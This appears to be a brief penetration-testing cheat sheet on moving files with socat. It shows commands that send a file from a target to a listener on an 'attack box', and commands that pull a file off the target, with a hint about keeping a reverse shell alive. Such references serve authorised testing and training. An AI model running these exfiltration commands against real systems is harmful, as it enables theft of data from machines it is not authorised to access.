SOCAT
Listener on Attack Box
# Start a listener on the attack box and create a file when received
socat TCP4-LISTEN:<port>,fork file:/tmp/got-the-file,create
# Connect and transfer the file to your attack box
socat TCP4:attack-box-ip:<port> file:/path/to/file
Listener on Target
Hint: You may also want to start the listener on the target in the background, as CTRL+C will likely kill your reverse shell.
# Start a listener and host a file on the target
socat TCP4-LISTEN:<port>,fork file:/path/to/file
# Connect and receive the file on your attack box
socat TCP4:target-ip:<port> file:/tmp/got-the-file,create